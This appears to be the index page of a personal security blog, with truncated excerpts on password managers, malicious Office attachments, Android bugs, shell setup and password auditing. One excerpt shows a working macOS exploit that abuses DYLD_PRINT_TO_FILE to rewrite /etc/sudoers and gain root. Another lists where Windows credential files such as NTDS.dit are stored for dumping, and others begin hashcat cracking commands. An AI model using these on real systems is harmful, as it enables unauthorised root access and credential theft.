ØSecurity

So I think it's time for my first "opinion piece". This is in response to the following article, and several tweets I've seen saying that pulling security clearances is a bad idea and amounts to a blame the victim mentality. http://arstechnica.com/security/

I've been using KeePass for years. A while ago I also started using the expire function. However, only a handfull of my accounts actually have this turned on so far. I've been meaning to go through and set this up for all entries, but it'

I'll add this to it's own post, instead of my KeePass tutorial, since it's a more advanced feature. There's a way to launch RDP sessions with KeePass, making it much easier for sysadmins and the like to log into servers they have

There's a ton of examples of this kind of script, but for some reason each one I tried gave me an error. I'm not sure if it was due to powershell version changes or what, but this one should work on Powershell v4 and Windows Server

So a while ago I did a short piece on extracting malicious VBA [http://www.nullsec.us/extracting-malicious-vba/], something I seem to run into more and more. Today I ran into a different attachment. It was a .zip file containing a .shtml file. SHTML is (appearently) an HTML file that

You can thank the user testingresults over on the Kali forums [https://forums.kali.org/showthread.php?485-How-To-Securely-Sanitize-your-Trash] for this one. That link will take you to his guide, which is much better than what I have. Very quick reproduction of the guide follows. apt-get install scrub vim empty_trash.

For those that haven't heard, there's a bug in Android dating as far back as 2.2. The very short of it is this. Android automatically processes videos and other files that are sent to you via MMS (those multimedia text messages) so you don'

Terminal aliases and customizations. The last line (export PS1...) will give you a more "linux" like command line. bbk@Mac-mini:~$ cat .profile alias ls='ls -G' alias ll='ls -l' alias la='ls -A' alias l='ls -CF' alias subl=

bbk@Mac-mini:~/Desktop$ whoami bbk bbk@Mac-mini:~/Desktop$ echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s root@Mac-mini:~/Desktop$ whoami root

For some reason, macros and VBA still work in Microsoft documents. I understand that somewhere, someone is using these functions, but I view it much like Flash. For every one, legitimate, and good use out there, there's 99 people using it as an exploit. There's better

A quick note on UEFI and legacy boot: I have two hard drives, one Linux and one Windows 10. I typically use one or the other for extended periods, I don't swap back and forth a lot, and if I reboot I usually want it to go back

Dumping domain credentials for password audits. Step 1: Obtain SYSTEM and NTDS.dit files * SAM and SYSTEM live in C:\Windows\System32\config * NTDS.dit lives in C:\Windows\ntds\NTDS.dit Armed with this information, you can forget all of it, because FTK Imager Lite [http://accessdata.com/product-download/

Unless otherwise noted these commands are for use with GPU hashcat (cudaHashcat64). Edit: Added using --session sessionname to these so you can also use --restore and/or pause one window, open a new one, and start a new attack. Example 1: Dictionary and rules attack cudahashcat64 -m 1000 -a 0

Little bit of background. I'm doing an audit and trying to crack user passwords. I'm pretty new to hashcat, so after exhausting the usual "take rockyou.txt and run it through every rule" I started looking for more creative ways to make passwords. One

This paper was written several years ago as part of an undergraduate class. I don't think it's the best in the world, but I was told it was good enough, and accurate enough, that it should go on a blog should I ever make one. So

We ran into a bit of a problem yesterday. An employee clicked on a malicious .doc file. This in turn emailed the attachment to everyone it could from her account. For those interested, here's the Virus Total results [https://www.virustotal.com/en/file/a9e00536f301ae3cc4e9d41acb84e857e106570d46dd655623535c4aba8b0d64/analysis/] of that

Update: 2 Jun 2018 - I'm not longer really updating this. Rather, I'm updating the New Kali Setup script I have on github. There's still a few things I mess with manualy, but I'm not going to try to come back to

Yes, I'm going to be stealing @sadserver tweets as the tag line on this blog an awful lot. What can I say, they speak to me. I don't think this blog will ever be in anyone's RSS feed, sandwiched between Brian Krebs and Robert